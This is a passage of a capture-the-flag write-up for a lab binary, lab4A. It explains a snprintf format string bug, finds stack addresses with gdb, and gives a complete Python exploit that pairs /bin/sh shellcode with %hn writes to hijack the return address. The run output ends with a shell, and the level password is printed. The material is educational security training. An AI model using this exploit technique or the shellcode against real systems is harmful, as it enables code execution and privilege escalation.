    logf = fopen(LOG_FILE, "w");
    if (logf == NULL) {
        printf("ERROR: Failed to open %s\n", LOG_FILE);
        exit(EXIT_FAILURE);
    }

    log_wrapper(logf, "Starting back up: ", argv[1]);

    // Open source
    source = fopen(argv[1], "r");
    if (source == NULL) {
        printf("ERROR: Failed to open %s\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    // Open dest
    strcpy(dest_buf, BACKUP_DIR);
    strncat(dest_buf, argv[1], 100-strlen(dest_buf)-1/*NULL*/);
    target = open(dest_buf, O_CREAT | O_EXCL | O_WRONLY, S_IRUSR | S_IWUSR);
    if (target < 0) {
        printf("ERROR: Failed to open %s%s\n", BACKUP_DIR, argv[1]);
        exit(EXIT_FAILURE);
    }

    // Copy data
    while( ( ch = fgetc(source) ) != EOF)
        write(target, &ch, 1);

    log_wrapper(logf, "Finished back up ", argv[1]);

    // Clean up
    fclose(source);
    close(target);

    return EXIT_SUCCESS;
}

What does the program do?
–> The program is supposed to be run with one argument (line 34-35).
–> A logfile is opened, which is passed to the function log_wrapper (line 39, 45).
–> The argument passed to the program is interpreted as a filename (line 48).
–> The given file is copied byte-by-byte to the folder ./backups/ (line 64-65).
–> The function log_wrapper copies the given message (msg) in a temporary buffer (log_buf) (line 20).
–> The filename, taken from the passed argument to the program, is appended to that buffer using snprintf (line 21).
–> The temporary buffer (log_buf) is written to the logfile (line 23).

Where is a vulnerability within the program?

Since the source code is a little bit larger, it is not as obvious as in the last level. Yet again we are dealing with format string vulnerabilities. This time it is not about printf but snprintf. On line 21 snprintf is called with the third argument being the format string. This is the filename the user provided when running the program. That means that the format string is user controlled and we can use the exploiting techniques described in the last two levels.

One may think that snprintf is more secure than printf since there is a size-parameter (second argument), but this only sets the maximum amount of characters to write into the provided buffer (first argument). One may also think that this prevents the %n specifier technique since we can only write a limited amount of characters. But that is not completely true. Indeed we can not write more bytes to the provided buffer, but the %n specifier will not be evaluated to the bytes actual written but to the characters that should have been written! Despite of the length limit of the buffer we can still use the %n specifier to write arbitrary data to an arbitrary address.

In the last level we have overwritten an entry in the Global Offset Table (GOT) in order to redirect the control flow. This time we cannot do that, because the binary is compiled with Full RELRO:

lab4A@warzone:/levels/lab04$ checksec lab4A
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE
Full RELRO      Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   Yes     0               10      lab4A

With Full RELRO enabled the entire GOT is remapped as read-only. Thus we cannot alter any values there. Also a STACK CANARY has been found. A stack canary is a random value which is placed on the stack on every function call. When leaving a function, it is verified that the values has not been altered. If the value has changed, the program terminates. When we try to overwrite the return address in a simple buffer overflow the stack canary gets overwritten because all bytes from the beginning of the buffer up to the final return address have to be filled. Since we have identified a format string vulnerability we can write to a specific unique address without harming the stack canary. That is why a stack canary will not prevent us from overwriting the return address on the stack. That is what we are going to do here.

As we have figured out how to control the instruction pointer, we have to decide where we point it to. Fortunately NX is still disabled. This means that we can store a shellcode on the stack and execute it.

What are we going to do?
–> Determine the argument selector for the buffer we can write to (log_buf + offset for strlen(msg)).
–> Determine the address of the buffer in order to overwrite the return address for the function log_wrapper correspondingly.
–> Determine the address where the return address is stored.
–> Store a shellcode in the buffer and use the %n specifier to overwrite the return address with the address of the buffer (shellcode).

argument selector

In order to run the program there must be a backups folder in the current directory:

lab4A@warzone:/levels/lab04$ ./lab4A test
ERROR: Failed to open ./backups/.log
lab4A@warzone:/levels/lab04$ mkdir backups
mkdir: cannot create directory β€˜backups’: Permission denied

We cannot create a directory in /levels/lab04 and must run the program for example from /tmp:

lab4A@warzone:/levels/lab04$ cd /tmp
lab4A@warzone:/tmp$ mkdir backups
lab4A@warzone:/tmp$ /levels/lab04/lab4A test
ERROR: Failed to open test

The program prints an error because there is no file called test in the current directory, but now there is no error that the file ./backups/.log cannot be opened. This suffices since the function log_wrapper already gets called (see line 45 source code) and adds a log entry:

lab4A@warzone:/tmp$ cd backups
lab4A@warzone:/tmp/backups$ cat .log
LOG: Starting back up: test

Now we run the program with a filename containing a 4 byte pattern and multiple format specifiers to leak the stack:

lab4A@warzone:/tmp$ /levels/lab04/lab4A AAAA.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x
ERROR: Failed to open AAAA.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x.%8x
lab4A@warzone:/tmp$ cat backups/.log
LOG: Starting back up: AAAA.b7e9eb73.b7e9548c.bffff842. 8048cda. 804b008.       0.       0.b7e24994.617453c8.6e697472.61622067.75206b63.41203a70.2e414141.39653762.33376265

The 14th element contains our pattern. But only 3 bytes from it (2e414141). The 4th byte is within the 13th element: 41203a70.

That means that we have to add 1 byte at the beginning of the buffer in order to align the characters to the 4 byte chunks on the stack.

We can verify this using the argument selector (do not forget to escape the $ on the bash):

lab4A@warzone:/tmp$ /levels/lab04/lab4A XAAAA.%14\$08x
ERROR: Failed to open XAAAA.%14$08x
lab4A@warzone:/tmp$ cat backups/.log
LOG: Starting back up: XAAAA.41414141

The additional X at the beginning of the filename aligns the characters to the 4 byte chunks on the stack.

address of buffer and return address

In order to determine the address of the buffer and the return address we use gdb keeping in mind that these addresses may vary:

lab4A@warzone:/tmp$ gdb /levels/lab04/lab4A
Reading symbols from /levels/lab04/lab4A...(no debugging symbols found)...done.
gdb-peda$ disassemble log_wrapper
Dump of assembler code for function log_wrapper:
   0x080488fd <+0>:     push   ebp
   0x080488fe <+1>:     mov    ebp,esp
   0x08048900 <+3>:     push   ebx
   ...
   0x08048972 <+117>:   mov    eax,DWORD PTR [ebp-0x124]
   0x08048978 <+123>:   mov    DWORD PTR [esp+0x8],eax
   0x0804897c <+127>:   mov    DWORD PTR [esp+0x4],ebx
   0x08048980 <+131>:   mov    DWORD PTR [esp],edx
   0x08048983 <+134>:   call   0x80487c0 <snprintf@plt>
   ...
   0x080489dd <+224>:   pop    ebx
   0x080489de <+225>:   pop    ebp
   0x080489df <+226>:   ret
End of assembler dump.

The locations we are interested in are the call to snprintf and the ret instruction within the function log_wrapper. We set a breakpoint on each address:

gdb-peda$ b *log_wrapper+134
Breakpoint 1 at 0x8048983
gdb-peda$ b *log_wrapper+226
Breakpoint 2 at 0x80489df

And run the program:

gdb-peda$ r test
Starting program: /levels/lab04/lab4A test
[----------------------------------registers-----------------------------------]
EAX: 0xbffff8eb ("test")
EBX: 0xec
ECX: 0x1d
EDX: 0xbffff56f --> 0x4b00800
ESI: 0x0
EDI: 0x0
EBP: 0xbffff668 --> 0xbffff708 --> 0x0
ESP: 0xbffff530 --> 0xbffff56f --> 0x4b00800
EIP: 0x8048983 (<log_wrapper+134>:      call   0x80487c0 <snprintf@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048978 <log_wrapper+123>: mov    DWORD PTR [esp+0x8],eax
   0x804897c <log_wrapper+127>: mov    DWORD PTR [esp+0x4],ebx
   0x8048980 <log_wrapper+131>: mov    DWORD PTR [esp],edx
=> 0x8048983 <log_wrapper+134>: call   0x80487c0 <snprintf@plt>
   0x8048988 <log_wrapper+139>: mov    DWORD PTR [esp+0x4],0x8048c90
   0x8048990 <log_wrapper+147>: lea    eax,[ebp-0x10b]
   0x8048996 <log_wrapper+153>: mov    DWORD PTR [esp],eax
   0x8048999 <log_wrapper+156>: call   0x8048700 <strcspn@plt>
Guessed arguments:
arg[0]: 0xbffff56f --> 0x4b00800
arg[1]: 0xec
arg[2]: 0xbffff8eb ("test")
[------------------------------------stack-------------------------------------]
0000| 0xbffff530 --> 0xbffff56f --> 0x4b00800
0004| 0xbffff534 --> 0xec
0008| 0xbffff538 --> 0xbffff8eb ("test")
0012| 0xbffff53c --> 0xb7e9eb73 (<__GI_strstr+19>:      add    ebx,0x12e48d)
0016| 0xbffff540 --> 0xb7e9548c (<malloc_init_state+12>:        add    ebx,0x137b74)
0020| 0xbffff544 --> 0xbffff8eb ("test")
0024| 0xbffff548 --> 0x8048cda ("Starting back up: ")
0028| 0xbffff54c --> 0x804b008 --> 0xfbad2484
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048983 in log_wrapper ()
gdb-peda$

The first breakpoint is hit. We are right before the call to snprintf. The address of the buffer is on the top of the stack: 0xbffff56f.

Let’s continue to the ret instruction:

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcd000 --> 0x1a9da8
ECX: 0x0
EDX: 0x804b0a0 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xbffff708 --> 0x0
ESP: 0xbffff66c --> 0x8048a8b (<main+171>:      mov    eax,DWORD PTR [esp+0xc])
EIP: 0x80489df (<log_wrapper+226>:      ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80489d7 <log_wrapper+218>: add    esp,0x134
   0x80489dd <log_wrapper+224>: pop    ebx
   0x80489de <log_wrapper+225>: pop    ebp
=> 0x80489df <log_wrapper+226>: ret
   0x80489e0 <main>:    push   ebp
   0x80489e1 <main+1>:  mov    ebp,esp
   0x80489e3 <main+3>:  and    esp,0xfffffff0
   0x80489e6 <main+6>:  sub    esp,0x90
[------------------------------------stack-------------------------------------]
0000| 0xbffff66c --> 0x8048a8b (<main+171>:     mov    eax,DWORD PTR [esp+0xc])
0004| 0xbffff670 --> 0x804b008 --> 0xfbad2c84
0008| 0xbffff674 --> 0x8048cda ("Starting back up: ")
0012| 0xbffff678 --> 0xbffff8eb ("test")
0016| 0xbffff67c --> 0xbffff7a4 --> 0xbffff8d7 ("/levels/lab04/lab4A")
0020| 0xbffff680 --> 0x3
0024| 0xbffff684 --> 0x9 ('\t')
0028| 0xbffff688 --> 0xffc0003f
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x080489df in log_wrapper ()
gdb-peda$

The top of the stack now points to the return address. Thus the address, where the return address is stored, is just the value of esp: 0xbffff66c.

Now we have got both addresses we were looking for:
–> buffer: 0xbffff56f
–> return address: 0xbffff66c

shellcode and %n specifier

For the shellcode we can just reuse the shellcode we used in the last labs. Because the buffer’s offset to the 4 byte alignment of the stack is 1 byte, I simply added nops (0x90) to the shellcode in order to align the following bytes.

The final python-script constructs the format string we can pass to the program as the filename:

lab4A@warzone:/tmp$ cat exploit_lab4A_2.py
import sys
from pwn import *

shellcode = "\x90"\
            "\x90\x31\xc0\x50"\
            "\x68\x2f\x2f\x73"\
            "\x68\x68\x2f\x62"\
            "\x69\x6e\x89\xe3"\
            "\x89\xc1\x89\xc2"\
            "\xb0\x0b\xcd\x80"
            # len = 25

addr_offset    = int(sys.argv[1], 16)
addr_buf      = 0xbffff56f - addr_offset
addr_ret_addr = 0xbffff66c - addr_offset

value_u2 = addr_buf >> 16
value_l2 = addr_buf & 0xffff

expl = shellcode
expl += p32(addr_ret_addr+2) # arg selector: $14 + 24/4 = $20
expl += p32(addr_ret_addr)   # arg selector: $21
expl += "%" + str(value_u2 - 25 - 8) + "x"
expl += "%20$hn"
expl += "%" + str(value_l2 - value_u2) + "x"
expl += "%21$hn"

sys.stdout.write(expl)

The script basically works like the script in the last levels. Only the values have been adjusted.

Now we only need to try different offsets until we get a shell:

...
lab4A@warzone:/tmp$ /levels/lab04/lab4A $(python exploit_lab4A_2.py 0x60)
ERROR: Failed to open β–’β–’1β–’Ph//shh/binβ–’β–’β–’Β°
                                         Ν€β–’β–’β–’
β–’β–’β–’%49118x%20$hn%13584x%21$hn
lab4A@warzone:/tmp$ /levels/lab04/lab4A $(python exploit_lab4A_2.py 0x70)
ERROR: Failed to open β–’β–’1β–’Ph//shh/binβ–’β–’β–’Β°
                                         Ν€β–’β–’β–’β–’β–’β–’β–’β–’%49118x%20$hn%13568x%21$hn
lab4A@warzone:/tmp$ /levels/lab04/lab4A $(python exploit_lab4A_2.py 0x80)
ERROR: Failed to open β–’β–’1β–’Ph//shh/binβ–’β–’β–’Β°
                                         Ν€β–’β–’β–’β–’β–’β–’β–’β–’%49118x%20$hn%13552x%21$hn
lab4A@warzone:/tmp$ /levels/lab04/lab4A $(python exploit_lab4A_2.py 0x90)
ERROR: Failed to open (null)
lab4A@warzone:/tmp$ /levels/lab04/lab4A $(python exploit_lab4A_2.py 0xa0)
$ whoami
lab4end
$ cat /home/lab4end/.pass
1t_w4s_ju5t_4_w4rn1ng

Done! The final password is 1t_w4s_ju5t_4_w4rn1ng.

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